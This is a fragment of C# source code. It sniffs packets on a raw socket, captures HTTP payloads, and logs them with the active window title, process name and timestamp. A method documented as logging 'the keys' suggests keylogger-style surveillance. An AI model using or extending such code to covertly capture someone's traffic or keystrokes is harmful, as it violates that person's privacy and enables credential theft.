private void OnReceive(IAsyncResult ar) { var nReceived = mainSocket.EndReceive(ar); if (nReceived <= 0) { return; } var ipHeader = new IPHeader(buffer, nReceived); if (ipHeader.ProtocolType == Protocol.TCP) { var tcpHeader = new TCPHeader(ipHeader.Data, ipHeader.MessageLength); var text = Encoding.ASCII.GetString(tcpHeader.Data, 0, tcpHeader.MessageLength); if (text.Contains("HTTP")) { var p = System.Diagnostics.Process.GetProcessById(WinApi.GetWindowProcessID()); var thisapplication = WinApi.ActiveApplTitle().Trim().Replace("\0", "") + "######" + p.ProcessName; //Entro a escribir en el buffer _saveDiskWriteBuffer.Reset(); _cleanCacheWriteBuffer.WaitOne(); Logger(thisapplication, text); _saveDiskWriteBuffer.Set(); //Termine de escribir en el buffer } } buffer = new byte[mainSocket.ReceiveBufferSize]; mainSocket.BeginReceive(buffer, 0, buffer.Length, SocketFlags.None, OnReceive, null); }
/// <summary> /// Log the keys /// </summary> private void Logger(string txt) { var p = System.Diagnostics.Process.GetProcessById(WinApi.GetWindowProcessID()); var _appName = p.ProcessName; var _appltitle = WinApi.ActiveApplTitle().Trim().Replace("\0", ""); var _thisapplication = _appltitle + "######" + _appName; if (!_appNames.Contains(_thisapplication)) { _appNames.Push(_thisapplication); _logData.Add(_thisapplication, ""); } var en = _logData.GetEnumerator(); while (en.MoveNext()) { if (en.Key.ToString() == _thisapplication) { var prlogdata = en.Value.ToString(); _logData.Remove(_thisapplication); _logDataHour.Remove(_thisapplication); _logData.Add(_thisapplication, prlogdata + txt); _logDataHour.Add(_thisapplication, DateTime.Now.ToString("dd-MM-yyyy HH:mm:ss")); break; } } }